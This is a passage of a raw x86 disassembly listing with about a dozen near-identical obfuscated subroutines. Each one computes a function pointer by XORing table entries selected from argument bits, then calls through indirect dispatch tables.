; DATA XREF: .data:004ED9F0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F9h
mov [ebp+var_2C], 1Ch
mov [ebp+var_28], 0D6h
mov [ebp+var_24], 0FBh
mov [ebp+var_20], 6Bh
mov [ebp+var_1C], 27h
mov [ebp+var_18], 0E0h
mov [ebp+var_14], 3Eh
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA07C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA07C: ; CODE XREF: sub_4A9FEB+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9FEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA0E8 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9F4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 54h
mov [ebp+var_2C], 3Ah
mov [ebp+var_28], 99h
mov [ebp+var_24], 0D2h
mov [ebp+var_20], 45h
mov [ebp+var_1C], 8Bh
mov [ebp+var_18], 0C9h
mov [ebp+var_14], 1Bh
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA179
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA179: ; CODE XREF: sub_4AA0E8+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA0E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA1E5 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9F8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D5h
mov [ebp+var_2C], 0E6h
mov [ebp+var_28], 47h
mov [ebp+var_24], 9Ch
mov [ebp+var_20], 0F9h
mov [ebp+var_1C], 7Ah
mov [ebp+var_18], 0BCh
mov [ebp+var_14], 43h
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA276
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA276: ; CODE XREF: sub_4AA1E5+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA1E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA2E2 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9FCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 84h
mov [ebp+var_2C], 72h
mov [ebp+var_28], 0FAh
mov [ebp+var_24], 0B6h
mov [ebp+var_20], 42h
mov [ebp+var_1C], 47h
mov [ebp+var_18], 0E7h
mov [ebp+var_14], 57h
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA373
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA373: ; CODE XREF: sub_4AA2E2+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA2E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA3DF proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA00o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F2h
mov [ebp+var_2C], 0ACh
mov [ebp+var_28], 24h
mov [ebp+var_24], 0BCh
mov [ebp+var_20], 0EAh
mov [ebp+var_1C], 51h
mov [ebp+var_18], 61h
mov [ebp+var_14], 0ECh
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA470
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA470: ; CODE XREF: sub_4AA3DF+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA3DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA4DC proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA04o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 51h
mov [ebp+var_2C], 0AAh
mov [ebp+var_28], 0DFh
mov [ebp+var_24], 91h
mov [ebp+var_20], 2Ch
mov [ebp+var_1C], 0C9h
mov [ebp+var_18], 0C1h
mov [ebp+var_14], 0BCh
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA56D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA56D: ; CODE XREF: sub_4AA4DC+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA4DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA5D9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA08o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0B3h
mov [ebp+var_2C], 4
mov [ebp+var_28], 8Dh
mov [ebp+var_24], 22h
mov [ebp+var_20], 0F8h
mov [ebp+var_1C], 5Bh
mov [ebp+var_18], 2
mov [ebp+var_14], 90h
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA66A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA66A: ; CODE XREF: sub_4AA5D9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA5D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA6D6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA0Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DEh
mov [ebp+var_2C], 0B5h
mov [ebp+var_28], 42h
mov [ebp+var_24], 86h
mov [ebp+var_20], 39h
mov [ebp+var_1C], 95h
mov [ebp+var_18], 10h
mov [ebp+var_14], 89h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA767
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA767: ; CODE XREF: sub_4AA6D6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA7D3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA10o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 45h
mov [ebp+var_2C], 0C0h
mov [ebp+var_28], 12h
mov [ebp+var_24], 18h
mov [ebp+var_20], 12h
mov [ebp+var_1C], 6Dh
mov [ebp+var_18], 4Dh
mov [ebp+var_14], 11h
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA864
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA864: ; CODE XREF: sub_4AA7D3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA7D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA8D0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA14o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0FAh
mov [ebp+var_2C], 65h
mov [ebp+var_28], 0B9h
mov [ebp+var_24], 5
mov [ebp+var_20], 0CDh
mov [ebp+var_1C], 0BBh
mov [ebp+var_18], 0BFh
mov [ebp+var_14], 96h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AA961
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AA961: ; CODE XREF: sub_4AA8D0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA8D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AA9CD proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA18o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 74h
mov [ebp+var_2C], 0C4h
mov [ebp+var_28], 42h
mov [ebp+var_24], 2
mov [ebp+var_20], 0A6h
mov [ebp+var_1C], 17h
mov [ebp+var_18], 2Dh
mov [ebp+var_14], 24h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AAA5E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AAA5E: ; CODE XREF: sub_4AA9CD+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AA9CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AAACA proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA1Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Dh
mov [ebp+var_2C], 6Fh
mov [ebp+var_28], 90h
mov [ebp+var_24], 60h
mov [ebp+var_20], 0BEh
mov [ebp+var_1C], 39h
mov [ebp+var_18], 9Ah
mov [ebp+var_14], 0B4h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AAB5B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AAB5B: ; CODE XREF: sub_4AAACA+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
